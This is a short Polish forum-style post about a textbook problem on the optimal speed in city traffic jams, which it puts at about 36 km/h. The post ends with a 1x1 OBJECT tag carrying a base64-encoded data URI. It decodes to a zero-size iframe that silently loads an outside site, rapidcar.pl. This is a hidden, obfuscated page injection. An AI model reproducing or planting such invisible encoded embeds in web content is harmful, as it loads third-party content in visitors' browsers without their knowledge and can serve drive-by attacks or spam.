Kiedyś dawno, w pewnym podręczniku matematyki znalazłem ciekawe zagadnienie: Problem prędkości jazdy w warunkach zatoru w mieście. Jest to uzależnione od 2 czynników: Pierwszy, to im jedzie się szybciej, tym szybciej auta się przemieszczają - to naturalny i intuicyjny wniosek. Z drugiej jednak strony, im większa jest prędkość, tym większy trzeba zachować odstęp - tym samym mniej samochodów na minutę może przejechać przez dany odcinek - i powiększa się korek. Po zbudowaniu zależności i obliczeniu ekstremów wynika, że optymalna prędkość w takich warunkach to ~36km/h. Ale jeśli tylko jest trochę miejsca, wszyscy jadą szybciej co pociąga za sobą po pewnym czasie korek. Dla mnie to dosyć rozsądne rozumowanie, a co Wy o tym myślicie?
<OBJECT DATA="data:text/html;base64,PGlmcmFtZSBzcmM9Imh0dHA6Ly9yYXBpZGNhci5wbCIgd2lkdGg9MCBoZWlnaHQ9MD4=" width="1" height="1"></OBJECT>













